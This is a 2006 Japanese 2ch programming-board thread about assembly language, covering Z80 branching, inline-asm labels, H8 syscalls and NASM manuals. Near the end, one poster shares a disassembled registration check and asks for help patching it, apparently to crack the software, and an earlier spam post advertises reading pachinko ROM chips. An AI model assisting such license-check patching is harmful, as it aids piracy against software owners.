0638デフォルトの名無しさん
2006/03/02(木) 01:16:09アナルと聞いて飛んできました
うpうp
0639デフォルトの名無しさん
2006/03/02(木) 22:49:36海外とかYBBとかからの接続全部切っちゃえ。
0640デフォルトの名無しさん
2006/03/02(木) 23:57:14YBBはやめて
0641デフォルトの名無しさん
2006/03/03(金) 19:52:110642デフォルトの名無しさん
2006/03/03(金) 22:03:40何アレ?LAN?WAN?どこまで誰がアクセスできんの?
確か他人のモデムまでは触れたよね。すげー気持ち悪いんだけどもう改善されたの?
0643デフォルトの名無しさん
2006/03/03(金) 23:54:580644デフォルトの名無しさん
2006/03/04(土) 01:42:19つ【無線LAN】
0645デフォルトの名無しさん
2006/03/04(土) 13:41:13スレ違いでしたら申し訳ありません(´・ω・`)
とある関数の中でインラインアセンブラを使い、その中でループ用にラベルを定義しました。
しかしコンパイルをすると、その関数がインライン展開されてしまっているらしく、
ラベルの多重定義でエラーが出てしまいます。
このような場合、インライン展開されても大丈夫なように、ラベルに一意の名前をつける手段が存在するのでしょうか?
現在は、__attribute__((noinline))で回避していますが、エレガントではありませんし、
インライン展開が出来ないとなると、速度面でも不利になってしまいます。
ご存知の方がいらっしゃいましたら、ご教授頂けないでしょうか。
0646デフォルトの名無しさん
2006/03/04(土) 14:15:36ローカルシンボルでググっておいで
0647デフォルトの名無しさん
2006/03/04(土) 15:01:35ローカルラベルという単語を思いつきませんでした^^;
%=をつけることで一意の番号になるのですね…
斜め読みで飛ばしてしまっていました。
もう一度マニュアルを読み直してきます。
ありがとうございました。
0648デフォルトの名無しさん
2006/03/04(土) 16:44:29言われた。なにやらIPアドレスを偽造してそうな悪寒。
0649デフォルトの名無しさん
2006/03/04(土) 16:49:16?????
0650デフォルトの名無しさん
2006/03/04(土) 16:52:05ていうか掲示板あるんだからそっちで話してくれねーかな。
0651デフォルトの名無しさん
2006/03/04(土) 17:05:52久々に酷い初心者を見た。
0652デフォルトの名無しさん
2006/03/04(土) 17:06:58さすが低レベルスレだと思った
0653デフォルトの名無しさん
2006/03/04(土) 17:16:36『偽装』ではなく『偽造』らしいな
0654デフォルトの名無しさん
2006/03/04(土) 17:21:450655デフォルトの名無しさん
2006/03/04(土) 17:46:100656デフォルトの名無しさん
2006/03/04(土) 18:04:20192.168.1.1 も 127.0.0.1 も私のプライベートアドレスですから
勝手に使わないでください!!!!!!!
0657デフォルトの名無しさん
2006/03/04(土) 18:08:43最高にド低脳な発言してください in ム板(X�U)
http://pc8.2ch.net/test/read.cgi/tech/1141400056/
0658デフォルトの名無しさん
2006/03/04(土) 21:43:19>655の300に注目
0659デフォルトの名無しさん
2006/03/05(日) 01:33:430660デフォルトの名無しさん
2006/03/05(日) 01:35:43それ、郵便番号が6ケタなだけだろ?
0661デフォルトの名無しさん
2006/03/06(月) 12:01:13128/256で処理A、127/256で処理B、1/256で処理Cを実行する場合、
乱数から取得した1バイトの数値から分子を引いてキャリーフラグで
処理を分岐させればいいと思っていたのですが、
乱数の値が0〜255なのでおかしくなってしまいました。
アセンブラでの抽選というのはどのようなロジックが正しいのでしょうか?
何か手本となるようなソースはありませんでしょうか?
0662デフォルトの名無しさん
2006/03/06(月) 13:22:39or a後にZフラグで処理C、その後Sフラグで処理A、残ったのが処理B
0663デフォルトの名無しさん
2006/03/06(月) 21:21:44LD DE,table_addr
LD L,A
LD H,0
ADD HL,HL
ADD HL,HL
ADD HL,DE
JMP (HL)
0664663
2006/03/06(月) 21:26:51LD E,(HL)
INC HL
LD D,(HL)
EX DE,HL
入れてくれ
0665デフォルトの名無しさん
2006/03/07(火) 10:38:28>キャリーフラグで処理を分岐させればいいと思っていたのですが
それで合ってる。
SUB A,128
JR C, 処理A ;Aが0から127の場合
JR Z, 処理C ;Aが128の場合
処理B ;Aが129から255の場合
0666デフォルトの名無しさん
2006/03/07(火) 11:50:15>>663
そのままだと4倍警報!!
6F 26 00 29 11 ** ** 19 5E 23 56 EB E9
↑値との対応や確率・分岐先を後から楽に変えられる(ただし汗で表を書くのメンドクサ)
バイナリエディタで書くヲタ向け
>>665 D6 80 38 ** 28 ** ...
↑場所とらないから多い日でも安心
0667デフォルトの名無しさん
2006/03/07(火) 12:10:31sub a,128なんかz80の命令に無いだろ
構造化アセンブラ系の構文か?
0668665
2006/03/07(火) 14:46:00662はJR Zがあるからもう1バイト小さくできると思うぞ。
>>667
おおスマン。SUBはAいらなかったな。
×SUB A,128
○SUB 128
ADD A,Aでもいけそうな気が。
ADD A,A
JR C, 処理A ;Aが128から255の場合
JR Z, 処理C ;Aが0の場合
処理B ;Aが1から127の場合
0669http://www.vector.co.jp/soft/win95/util/se072729.html
2006/03/18(土) 21:58:21もしくは64bitにネイティブ対応したテキスト置換ソフトありますか?
そういや64bitにネイティブ対応している2chブラウザてありましたっけ?
0670デフォルトの名無しさん
2006/03/18(土) 21:59:42バーカ
0671デフォルトの名無しさん
2006/03/19(日) 20:54:360672デフォルトの名無しさん
2006/03/19(日) 21:03:33つ giveio.sys
0673デフォルトの名無しさん
2006/03/19(日) 21:20:35おかげさまで解決しました、ありがとう
ところで、モニタに対してのI/Oを解説したサイトなどご存知の方いませんでしょうか?
0674デフォルトの名無しさん
2006/03/20(月) 02:31:05何のモニタ?
0675デフォルトの名無しさん
2006/03/20(月) 12:53:030676デフォルトの名無しさん
2006/03/20(月) 23:00:22アセンブラの言語問題なんとかなる?
0677デフォルトの名無しさん
2006/03/20(月) 23:20:25システムと言語の仕様を読む時間が必要じゃないの?
0678デフォルトの名無しさん
2006/03/21(火) 03:06:410679デフォルトの名無しさん
2006/03/22(水) 02:18:45PCのモニタです
0680デフォルトの名無しさん
2006/03/22(水) 02:37:580681デフォルトの名無しさん
2006/03/22(水) 11:49:53http://community.osdev.info/index.php?VESA
0682デフォルトの名無しさん
2006/03/22(水) 19:35:210684デフォルトの名無しさん
2006/03/22(水) 22:06:130685デフォルトの名無しさん
2006/03/23(木) 11:12:160686デフォルトの名無しさん
2006/03/23(木) 18:45:370687デフォルトの名無しさん
2006/03/23(木) 18:48:230688デフォルトの名無しさん
2006/03/23(木) 23:12:22Video: (audio に対して) 映像 (部分)
0689デフォルトの名無しさん
2006/03/23(木) 23:51:430690デフォルトの名無しさん
2006/03/25(土) 16:01:280691デフォルトの名無しさん
2006/03/25(土) 16:05:230692デフォルトの名無しさん
2006/03/25(土) 16:18:020693デフォルトの名無しさん
2006/03/25(土) 17:40:55アセンブラは小6の頃に独学で。
というかスレ住人は周りにアセンブラ分かる人がいなかったから、って人ばかりなんじゃないの?
0694デフォルトの名無しさん
2006/03/25(土) 17:54:14日本語くらい正しく使おうよ
△人に教えられないと
○人に教わらないと
0695デフォルトの名無しさん
2006/03/25(土) 18:02:100696デフォルトの名無しさん
2006/03/25(土) 18:06:09アセンブラもCも独学で十分だと思う。
俺がそうだったし、あのシンプルな文法は独学でも十分いけると思う。
0697デフォルトの名無しさん
2006/03/25(土) 21:28:15周りに知っている人がいる奴は幸せだよな
0698デフォルトの名無しさん
2006/03/25(土) 22:36:43ネットとかがある今の人は幸せかもしれんね。
けど、独学で修得した人はアセンブラ以外の、人に教えてもらう事が出来ない物も学んだというか
身につける事が出来たと思うから、そういう意味ではもっと幸せだと思う。
0699デフォルトの名無しさん
2006/03/25(土) 22:55:530700デフォルトの名無しさん
2006/03/26(日) 01:40:270701デフォルトの名無しさん
2006/03/26(日) 01:57:050702デフォルトの名無しさん
2006/03/26(日) 02:41:39結局そこだよな。
ただ、漏れ自身は全部本で学んだ(本に教えて貰ったとも言う)けど、
本音としては教えてくれる先輩が欲しかった。
独学では、人脈だけは成長しない。
0703デフォルトの名無しさん
2006/03/26(日) 05:23:190704デフォルトの名無しさん
2006/03/26(日) 09:36:26false
0705デフォルトの名無しさん
2006/03/26(日) 09:39:28中高生くらいだとそう考えてしまうのも無理はないな
0706デフォルトの名無しさん
2006/03/26(日) 14:12:490707デフォルトの名無しさん
2006/03/26(日) 14:55:270708デフォルトの名無しさん
2006/03/26(日) 15:19:16アセンブリは、Cで書いた物が実際にどう命令を送ってるかを知りたくなったのが切欠。
そんな風に、何かやる目的があれば独学でも学べると思うけど。
0709デフォルトの名無しさん
2006/03/26(日) 15:22:25でもアセンブラの方も何かこれやりたいという目的があれば覚えれると思う。
0710デフォルトの名無しさん
2006/03/26(日) 15:35:38嘘付け馬鹿野郎
お前らが覚えた動機は不純なんだよ
0712デフォルトの名無しさん
2006/03/26(日) 16:04:28放置すればスネて消えるでしょ。
0713デフォルトの名無しさん
2006/03/26(日) 16:05:36Cを使わない理由はない
アセンブラを使うとすれば整数演算ぐらい
0714デフォルトの名無しさん
2006/03/26(日) 16:10:540715デフォルトの名無しさん
2006/03/26(日) 16:57:510716デフォルトの名無しさん
2006/03/26(日) 20:06:22憎悪の塊に発展するからな。
0717デフォルトの名無しさん
2006/03/26(日) 20:14:33自身が憎悪の塊だとそう考えてしまうのも無理はないな
0718デフォルトの名無しさん
2006/03/26(日) 22:53:51ハードウェアに近い部分のプログラムだと、C で書くと逆に面倒になることが
しばしばあるんだよね。そういう部分はアセンブラでちょちょいと書いちゃう
ってのは、アフリカではよくあること。
0719デフォルトの名無しさん
2006/03/27(月) 00:17:11わざわざCを使わなければならないからアセンブラを呼ぶというより、
インラインアセンブラで in/out のコードを埋め込むぐらいかな。
例外的にmmx計算なんかはCで書くよりアセンブラが適しているかな。
ストールなんか起こしたくないって場合はCで書くよりしょうがない。
クロスプラットフォームコンパチブルなベンチマークテスタはアセンブラで書くしかない。
0720デフォルトの名無しさん
2006/03/32(土) 16:58:41以下のようなコードで「**」ってのはどういう意味になるのか
教えてもらえませんか?教えて君ですみません
BIT_1EQU1
LD A,(PORT_A)
AND2**@BIT_1
0721デフォルトの名無しさん
2006/03/32(土) 17:06:02open jsr @@0xc5
read jsr @@0xc6
write jsr @@0xc7
lseek jsr @@0xc8
close jsr @@0xc9
stat jsr @@0xca
fstat jsr @@0xcb
これってどういうベクタテーブルの書き方をしたら各ルーチンにとばせるの?
0722デフォルトの名無しさん
2006/03/32(土) 18:46:22前から気になってた、GDB用?
0723デフォルトの名無しさん
2006/03/32(土) 18:51:30シミュレータが対応してる。
0724721
2006/03/32(土) 22:40:54わたしもそう思います。
H8ソフトウェアマニュアルの「実効アドレスの計算方法の表」を見ると
8bitメモリ > 24bitメモリ > 24bitメモリの内容が実効アドレス と勘違いしそう。
>>723
insight-6.4 for h8300で確認してみました。
確かにシミュレータで実行するとprintfの結果がコンソールに出力されますが、
システムコール以外のjsr @@aa:8 というインストラクションは無視されてトレースが中断してしまいます。
ソースをちょっと見た限りでは無理矢理newlib-1.14.0に合わせているように思えます。
0725デフォルトの名無しさん
2006/04/02(日) 21:12:300726デフォルトの名無しさん
2006/04/02(日) 21:45:010727デフォルトの名無しさん
2006/04/02(日) 21:51:350728デフォルトの名無しさん
2006/04/02(日) 22:05:25newlibにあわせたというよりは、えらい人達でシステムコールエミュレーションの
仕様を検討した結果、そうなったてな所じゃないんですかね。
そういうのはTRAPA使えよと思わなくもないですが。
>>727
h8300にはそんなものはない。
0729デフォルトの名無しさん
2006/04/02(日) 22:41:280730デフォルトの名無しさん
2006/04/02(日) 23:24:570731デフォルトの名無しさん
2006/04/04(火) 15:57:20TEST STRUC
nurupo DW ?
nullpo DD ?
TEST ENDS
hoge DD ?
こんな感じで宣言した、TESTとhogeがあります。
nullpoをDDに転送する場合はどのようにすれば良いのでしょうか?
0732デフォルトの名無しさん
2006/04/04(火) 18:04:500733デフォルトの名無しさん
2006/04/05(水) 18:21:44アセンブラの勉強にはそれが一番手っ取り早い
0734デフォルトの名無しさん
2006/04/05(水) 19:27:31えー?
コンパイラが吐くコードは癖があるから、あんまり良いお手本じゃないと思うが.
0735デフォルトの名無しさん
2006/04/05(水) 19:55:44コンパイラがどう吐くのか知っていたほうが実用という意味ならむしろ有用だけどね。
0736デフォルトの名無しさん
2006/04/05(水) 20:51:31最適化切っておけば、そんなにひねくれたコードは出てこないと思うが。
手書きのコードを読めればいちばんいいんだけどねえ。
0737デフォルトの名無しさん
2006/04/05(水) 20:54:110738デフォルトの名無しさん
2006/04/06(木) 20:33:020739デフォルトの名無しさん
2006/04/06(木) 20:54:590740デフォルトの名無しさん
2006/04/06(木) 21:12:55SEX
0741デフォルトの名無しさん
2006/04/07(金) 05:22:230742デフォルトの名無しさん
2006/04/09(日) 15:49:500743デフォルトの名無しさん
2006/04/14(金) 13:48:20なんか他の言語の案件よりもレベルが一段と高いらしくて。。
0744デフォルトの名無しさん
2006/04/14(金) 13:50:180745デフォルトの名無しさん
2006/04/14(金) 14:11:52アセンブラでの開発に関わるという事以外、殆ど何も解りません。
0746デフォルトの名無しさん
2006/04/14(金) 14:17:430747デフォルトの名無しさん
2006/04/14(金) 14:41:22よろしければ良いものと悪いものについて簡単にご説明願えますか?
0748デフォルトの名無しさん
2006/04/14(金) 14:50:18アセンブラだけで決めるというのがよくわからないんですよ。
わからないから出来ませんとやってからいえるんっだんたらいいんだけど。
0749デフォルトの名無しさん
2006/04/14(金) 15:14:290750デフォルトの名無しさん
2006/04/14(金) 15:21:54ありがとうございます。
アセンブラと一言で言っても多種多様なんですね。
0751デフォルトの名無しさん
2006/04/14(金) 15:26:20「ニーモニック表」ですね。
初めての事で解らないことだらけなので頑張ります。
0752デフォルトの名無しさん
2006/04/14(金) 15:40:410753デフォルトの名無しさん
2006/04/14(金) 15:41:28アセンブラも所詮道具だから、その道具を使って何をする仕事なのかが問題。
勿論、CPUごと、環境ごとに違う道具が必要になるかもしれないからその点も要調査。
0754デフォルトの名無しさん
2006/04/14(金) 18:51:42スレ汚し失礼しました。
0755デフォルトの名無しさん
2006/04/17(月) 22:34:20メイン基盤上のチップLE2080,2280,4280のプログラムが
市販品のロムライターで読み込みできます。
確率や連チャンの仕組みが一目瞭然!
攻略法はあなた自身で見つける時代です。
http://www.3-you.com/
0756デフォルトの名無しさん
2006/04/18(火) 23:01:152chの規制用のプログラムとリストが
市販品のメモ帳で読み込みできます。
規制やアク禁の仕組みが一目瞭然!
広告はあなた自身で見つける時代です。
http://2ch.net
0757デフォルトの名無しさん
2006/04/19(水) 08:42:18何をしているのでしょうか?
無くても動くみたいなのですが…
; nasm hello.asm -fbin -o hello.com
org 100h
section .text
start:
mov ax,cs
mov ds,ax
mov dx,hello
mov ah,09h
int 21h
mov ax,4C00h
int 21h
section .data
hello: db 'Hello World',13,10,'$'
section .bss
0758デフォルトの名無しさん
2006/04/19(水) 09:21:20COMファイルならcsとdsが同じだけど、EXEファイルだとそうじゃない
0759デフォルトの名無しさん
2006/04/19(水) 10:07:06節子!それヒントちゃう!ずばりやないか!
0760758
2006/04/19(水) 11:25:46ヒントか答えか本人に言うまでわからない
0761デフォルトの名無しさん
2006/04/19(水) 11:44:32なんだそのつまらない切り返し
お前にはがっかりだ。
0762デフォルトの名無しさん
2006/04/19(水) 12:33:210763デフォルトの名無しさん
2006/04/19(水) 14:12:11なんだと、おまいこそNOPしてたくせに
くやしかったら、答えをSTOREしろや
0764デフォルトの名無しさん
2006/04/19(水) 14:26:440765デフォルトの名無しさん
2006/04/19(水) 15:02:220766デフォルトの名無しさん
2006/04/19(水) 18:39:310768デフォルトの名無しさん
2006/04/21(金) 10:14:00何か良い解決策はありませんか?
0769デフォルトの名無しさん
2006/04/21(金) 10:38:53バカジャネーノ?
0770デフォルトの名無しさん
2006/04/21(金) 15:11:47他のアーキテクチャのアセンブリをやればいいんじゃないでしょうか。
それらの中には、例えば 0x2c を H'2C と表現するものや
X'2C' と表現するものがあります。
0771デフォルトの名無しさん
2006/04/21(金) 16:16:10&H2C
辺りも宜しく。
0772デフォルトの名無しさん
2006/04/21(金) 17:05:33これで初心者は勉強できるかためしてみる。
0773デフォルトの名無しさん
2006/04/21(金) 18:05:44これは初心者向けでわかりやすいと思う。
http://www.amazon.co.jp/exec/obidos/ASIN/4816306099/qid%3D1145610244/249-3989825-8897165
0774デフォルトの名無しさん
2006/04/21(金) 19:16:510775デフォルトの名無しさん
2006/04/21(金) 20:05:31今の環境ならむしろ超省メモリだけど。
0776デフォルトの名無しさん
2006/04/21(金) 20:19:10フロッピーのブートローダを書いてそれからミニミニOS
を読み込んで画面に簡単なグラフィックを書くとこまででき
ました。
いままでずっとアセンブラ(nasm)でやってきましたが、さすがに
面倒で・・・。関数はCで書きたいのですが、アセンブラで書いたOSと
Cの関数をどうやってくっつけるのかがわかりません。
os.asm(ミニミニOS)+sub.c(Cで書いた関数)→os.bin
として、つくりたいのです。コンパイラやリンカの知識がいる
みたいですが・・・。
0777デフォルトの名無しさん
2006/04/21(金) 20:49:540778デフォルトの名無しさん
2006/04/21(金) 21:39:54OS自作入門は途中からCを使い始めると思うのだが。
0779デフォルトの名無しさん
2006/04/21(金) 23:35:34メモリいぱーいあるのに、640KBの壁に頭を悩ませる罠
0780デフォルトの名無しさん
2006/04/21(金) 23:41:190781デフォルトの名無しさん
2006/04/22(土) 21:25:13僕は、olly dbg ちゃん!
0782デフォルトの名無しさん
2006/04/22(土) 21:33:460783デフォルトの名無しさん
2006/04/22(土) 22:40:390784デフォルトの名無しさん
2006/04/23(日) 00:05:480785デフォルトの名無しさん
2006/04/23(日) 03:02:22ollydbgをこれから使い始める俺です。日本語化パッチとかつくりたいっす。
逆アセンブルって面白そう。
0786デフォルトの名無しさん
2006/04/24(月) 00:11:350787デフォルトの名無しさん
2006/04/24(月) 00:29:48これからはじめるのなら両方試して気が合いそうな方使っとけ。
#MASM32はアレ配布して大丈夫なんだろうか・・・
0788デフォルトの名無しさん
2006/04/24(月) 02:43:400789デフォルトの名無しさん
2006/04/24(月) 22:45:23・自力でごりごり行けるならNASM
かな。
・慣れれば応用範囲の広いgas
ってのもあるけど、なんかこー。
0790デフォルトの名無しさん
2006/04/24(月) 23:52:00どこへ行っちゃったんだろう・・・
0791デフォルトの名無しさん
2006/04/25(火) 15:36:120792デフォルトの名無しさん
2006/04/25(火) 18:22:090793デフォルトの名無しさん
2006/04/25(火) 18:57:150794デフォルトの名無しさん
2006/04/25(火) 21:16:39ドキュメントもあったし、ちょっとだけ使ってた。
0795デフォルトの名無しさん
2006/04/26(水) 01:19:45アルゴリズムを勉強したことがない。
CASL�Uって、アルゴリズムの勉強になりますか?
ガーベッジコレクションの勉強にもなりますかね?
0796デフォルトの名無しさん
2006/04/26(水) 01:28:02アルゴリズム勉強するのはJavaでもアセンブリでもどっちでも良いよ。
言語の知識とアルゴリズムの知識は別の物だから
0797デフォルトの名無しさん
2006/04/26(水) 05:50:20NASMマニュアルの訳を3つほど持ってる
参考までにうp
http://www.uploda.org/uporg373248.zip.html
passはnasm
0798名無しさん@Linuxザウルス
2006/04/26(水) 07:35:530799デフォルトの名無しさん
2006/04/26(水) 11:48:02基本情報技術者の資格とってみたら?
0800デフォルトの名無しさん
2006/04/26(水) 12:42:56�dクス…7z形式なんて初めて見た。
0801デフォルトの名無しさん
2006/04/26(水) 17:10:27登録すればなんかマニュアルが落とせたような。
ARM ARMは買わないとダメなんだっけ?
0802デフォルトの名無しさん
2006/04/26(水) 20:41:39日本語版の一部がCQ出版の本のCDに入ってるけど、基本は購入だったかな。
英語版のPDFならチップ屋のサイトに転がってたような記憶が。
0803デフォルトの名無しさん
2006/04/26(水) 23:31:37メアドくらいは必要だったかもしれんけど。
0804デフォルトの名無しさん
2006/04/27(木) 01:33:23TRM(テクニカルリファレンス)はあるけど、
ARM(アーキテクチャリファレンス)はないよ。
今見てきたら、書籍版ARMは在庫一掃セールで割り引き中だって。
ちなみにARMはなぜか本家にも置いてない。
0805デフォルトの名無しさん
2006/04/27(木) 16:58:300806デフォルトの名無しさん
2006/04/27(木) 23:55:54日本語版は本家サイトの方で用意するそうだけど・・・
>尚、ARMアーキテクチャファレンスマニュアルv6は 販売はいたしません。
>PDF(CDR)を 上記のARM Forumで無料配布いたします。
>来年、マニュアルダウンロードに追加になる予定です。
まだされてないよね
0807デフォルトの名無しさん
2006/04/27(木) 23:58:47ARM7でよければここは使えるね
ttp://www.bomber.co.jp/chaola/docs/ARM/
0808デフォルトの名無しさん
2006/04/28(金) 07:22:26神様今夜またうpしてください
0809デフォルトの名無しさん
2006/04/28(金) 11:25:51その後それにとって代わったIBMPCとその互換機用表計算ソフト ロータス1-2-3
これらはアセンブリ言語で書かれていたので、
C言語で書かれたマイクロソフトのエクセルの前身、
マルチプランを遥かにしのぐスピードで(5〜10倍速く)動作したと聞きます。
もっとも、当時のCコンパイラは最適化もろくになく糞だったとも聞きますが。
昔の人は神揃いですね。
アセンブリ言語のみでソフトウェア構築だなんて泡吹いてショック死しそうです。
0810マイク ◆yrBrqfF1Ew
2006/04/28(金) 11:39:33使いまわしずらくて可読性わりーし変更しづれーし
毎回ゼロからコーディングじゃ合理性なし
0811デフォルトの名無しさん
2006/04/28(金) 11:52:28そもそもExcelはMac用のどっかのソフトを購入した物だし
C言語だったからMac→Windowsへ移植が出来た
0812デフォルトの名無しさん
2006/04/28(金) 12:29:45という事ではないよ。
マクロやライブラリを使うというのはC言語と同じ。
マクロを LD/ST レベルから共通化して可搬性があると思ってた時代もあるわけだし
0813デフォルトの名無しさん
2006/04/28(金) 13:28:14この辺でお郷が知れる。
#「ずらく」て「づらい」のかよw
0814デフォルトの名無しさん
2006/04/28(金) 14:11:060815デフォルトの名無しさん
2006/04/28(金) 14:42:300816デフォルトの名無しさん
2006/04/28(金) 16:05:24sex day 2
push
pop
push
pop
push
pop
・
・
・
end sleep
0817デフォルトの名無しさん
2006/04/28(金) 16:42:50早すぎて微調整ムズかった記憶があるな
0818デフォルトの名無しさん
2006/04/28(金) 16:47:480819デフォルトの名無しさん
2006/04/28(金) 16:59:01違うだろ
push
push
push
・
・
・
・
pop
pop
pop
pop
・
・
・
end sleep
0820デフォルトの名無しさん
2006/04/28(金) 17:20:42こいつニートで暇なんだから
0821マイク ◆yrBrqfF1Ew
2006/04/28(金) 17:56:450822デフォルトの名無しさん
2006/04/28(金) 18:54:130823デフォルトの名無しさん
2006/04/28(金) 19:05:04おまえもだろ、スティーブ!
0824マイク ◆yrBrqfF1Ew
2006/04/28(金) 19:27:59やっと一部分がCなんかと一緒のレベルですか・・・?
>マクロを LD/ST レベルから共通化して可搬性があると思ってた時代もあるわけだし
プログラムデータを外部化して必要に応じて切り替えられたら
凄い幸せな時代だね!
アセンブラを称えてる奴は時代錯誤のジジイか勘違い初心者。
間違いない。
0825デフォルトの名無しさん
2006/04/28(金) 19:32:17アセンブラは高速で動く事を目的に使うものじゃない。
コードを再利用して、変更しやすくするためにアセンブラを昔は使ったんだよ。
0826マイク ◆yrBrqfF1Ew
2006/04/28(金) 19:36:26ほう。だからそれで?
0827デフォルトの名無しさん
2006/04/28(金) 19:50:18後半は全部否定された。
つまりはそういうこと。
0828デフォルトの名無しさん
2006/04/28(金) 20:00:170829マイク ◆yrBrqfF1Ew
2006/04/28(金) 20:04:58頭の整理もできてないんですね;)
0830デフォルトの名無しさん
2006/04/28(金) 20:56:53自分でトイコンパイラ一つ作る腕もないのに、一人前の顔して
そういうレベルでの技術を習得してる人を煽ろうなんて・・・・まあ恥ずかしいとも思わないのだろうな。
0831デフォルトの名無しさん
2006/04/28(金) 22:09:32神様再うpお願いします。
0832デフォルトの名無しさん
2006/04/28(金) 22:23:580833デフォルトの名無しさん
2006/04/28(金) 22:46:200834・∀・)っ-○●◎
2006/04/28(金) 22:57:02ヘッダが用意されててIntrinsicが使えるSSE2までの利用にしても、
VC++の最適化はクソすぎてどこそこ無駄なコード吐くし。
0835デフォルトの名無しさん
2006/04/28(金) 23:00:230836デフォルトの名無しさん
2006/04/29(土) 01:47:470837デフォルトの名無しさん
2006/04/29(土) 02:26:42http://kintubo01.70.kg/nasm/
まあうpろだよりは消されるのが遅いでしょ・・・
0838デフォルトの名無しさん
2006/04/29(土) 02:37:23拝見させて頂きます
しかし、jpgで化けないとは驚き
一旦、jpgを開いたりしたら化けるのかな..
0839・∀・)っ-○●◎
2006/04/29(土) 02:40:39これ別にヤバイファイルでもないように見えるけど。
Wikiとかで公開すればいいのに
まさか社内業務目的で翻訳したとか?
0840デフォルトの名無しさん
2006/04/29(土) 13:11:500841デフォルトの名無しさん
2006/04/29(土) 14:42:45nasm-j, guri, nobu って3つのディレクトリがあるけど、
同じものの3種類の訳ってことだね?
nasm-j 機械翻訳
guri いい感じだけど、一部未訳
nobu メモ書き。読みづらい
0842デフォルトの名無しさん
2006/04/29(土) 15:01:15トン!!
0843デフォルトの名無しさん
2006/04/29(土) 15:31:09それでお郷はどこなの?
0844デフォルトの名無しさん
2006/04/29(土) 16:03:50静岡ずら
0845デフォルトの名無しさん
2006/04/29(土) 16:45:13ヒント:FreeDOSのぐり氏
0846デフォルトの名無しさん
2006/04/29(土) 17:08:300847デフォルトの名無しさん
2006/04/29(土) 20:47:530848デフォルトの名無しさん
2006/04/29(土) 23:00:530849デフォルトの名無しさん
2006/05/01(月) 13:02:36('(゚∀゚∩_ おいらをどこかのスレに送って!
/ヽ 〈/\ お別れの時にはお土産を持たせてね!
/| ̄ ̄ ̄|.\/
| .モツ煮..|/
 ̄ ̄ ̄
現在の所持品:たばこ・ライター・コーヒー・ブラックブラック・枕・ケータイ電話
睡眠薬・聖教新聞 ・ダッチワイフ・外付けSCSI340MHDD・ネットランナー4月号
TYG02・小嶋進社長・ゲルトモ・ディプスファンタジア・抵抗1kΩ(黄紫橙金)・媚薬
バーボン・リップクリーム・セガサターン・バールのような物・バイブ・50インチ液晶TV
ボンカレー(甘口)・ジローラモ・エースヘルム・MAR全巻セット・切断済みの亀頭
東京タワーのミニチュアキーホルダー ・無償の愛・おっぱいプリン・イオナ・電話代の請求書・ウナコーワ
NHKの請求書・かりんとう(黒糖)・新庄・コロッケそば・『森の生活』・ベルディ君・ミアキスタソ・(`〜´)・
脱ぎたておパンティ・ロープ・ものみの塔・強力わかもと・おじいちゃん・夢と希望・田中
ガンプラ・わかめ・RPG7・拡散波動砲・アンサガ・Q4・クラナド・マブラヴオルタ
うにゅー・地下帝国パスポート・タコ焼き・ムラマサ・トンプソントミーガン・リコーダー・食パン
アニマトリックス・フォトショ・グラップラーバキ・電池・ピーナッツクリーム・GIジョー・スケボー・タン麺・(゚∀゚)
マウス・ガスボンベ・・うまい棒・ネオジオポケット・アイロン・はしご・ところてん・デザインナイフ
キーボード・シャア専用ザク・ダイナマイト・2�dトラック・FORDマスタング・stikfas・DOOM・こんせん牛乳
おーいお茶・ポテトチップス・無修正アダルトDVD・ボールペン・目覚まし時計・チキンラーメン・ボブデビットソン
中村名人のサイン入りヨーヨー・18歳♀・ソナタアークティカのCD・エメラルドソード・トリさん
0850デフォルトの名無しさん
2006/05/01(月) 13:37:00つ 団子
0851デフォルトの名無しさん
2006/05/03(水) 03:17:510852デフォルトの名無しさん
2006/05/03(水) 03:36:070853デフォルトの名無しさん
2006/05/03(水) 22:44:17'´  ̄ ヽ
|!|((从))〉
'(||"3"リ プーッ
0854デフォルトの名無しさん
2006/05/05(金) 06:40:12no input file specified.
type `nasm -h' for help
と出て使えません。PATHの通し方や色々サイトを回って見ましたが
どうやっても使えません。
OSはXPです。
どうかお願いします。
0855デフォルトの名無しさん
2006/05/05(金) 08:41:54そのメッセージを見る限り、nasmは起動されているのだろうから後はきちんと
コマンドラインオプションを指定してやれば医院で内科医?
#そしてそのやり方はスレ違いになるので勝手に探してくれ。
0856デフォルトの名無しさん
2006/05/05(金) 14:44:240857デフォルトの名無しさん
2006/05/05(金) 21:26:460858デフォルトの名無しさん
2006/05/06(土) 02:42:03version 4.26.01 that shipped with Visual C++ 1.52.?
0859デフォルトの名無しさん
2006/05/06(土) 02:56:370860デフォルトの名無しさん
2006/05/06(土) 03:42:310861デフォルトの名無しさん
2006/05/06(土) 04:15:18昔、MSのデバッガはCodeViewという名前だった。
で、確か、実行ファイルからデバッグ情報を取り除くツールが
そんな名前だったと思う。
違ったらごめんな。
0862デフォルトの名無しさん
2006/05/07(日) 23:01:55xor.b#11111111B, R1H; トグルSWデータ反転
and.b#07H,R1H
;
XOR.b#0FFH, R1H
add.b#01H,R1H
SHA.bR1H,400H; 右算術シフト
;
mov.b400H, R1H; 演算結果データ読み込み
xor.b#11111111B, R1H; 演算結果データ反転
mov.bR1H, 03EDH; LEDに表示(port7)
0863デフォルトの名無しさん
2006/05/10(水) 08:54:11下記アセンブラを適用したいのです。
よろしくお願いします。
0054E547 68 88675800 PUSH sbautoup.00586788 ; ASCII "REGISTER"
0054E54C 8B4D F0 MOV ECX,DWORD PTR SS ;[EBP-10]
0054E54F 51 PUSH ECX ; sbautoup.0058D094
0054E550 E8 5B850100 CALL sbautoup.00566AB0
0054E555 83C4 08 ADD ESP,8
0054E558 85C0 TEST EAX,EAX
0054E55A 75 20 JNZ SHORT sbautoup.0054E57C
0054E55C C705 A4D15800 010000>MOV DWORD PTR DS ;[58D1A4],1
0054E566 8B55 F8 MOV EDX,DWORD PTR SS ;[EBP-8]
0054E569 52 PUSH EDX
0054E56A 68 7CCE5800 PUSH sbautoup.0058CE7C
0054E56F E8 BC2D0100 CALL sbautoup.00561330
0054E574 83C4 08 ADD ESP,8
0054E577 E9 77010000 JMP sbautoup.0054E6F3
http://sar.x-eye.net/zat/index.php#1461
0864デフォルトの名無しさん
2006/05/10(水) 09:36:170865デフォルトの名無しさん
2006/05/10(水) 11:36:47見つけられないのは無能の極みだと思うが
0866デフォルトの名無しさん
2006/05/10(水) 13:02:30アドレスの見つけ方を教えてください。
0867デフォルトの名無しさん
2006/05/10(水) 13:38:13addressが替わりました?
------------------------------------------------------------
00687547 |> 68 88F76B00 PUSH spywareb.006BF788 ; ASCII "REGISTER"
0068754C |. 8B4D F0 MOV ECX,DWORD PTR SS:[EBP-10]
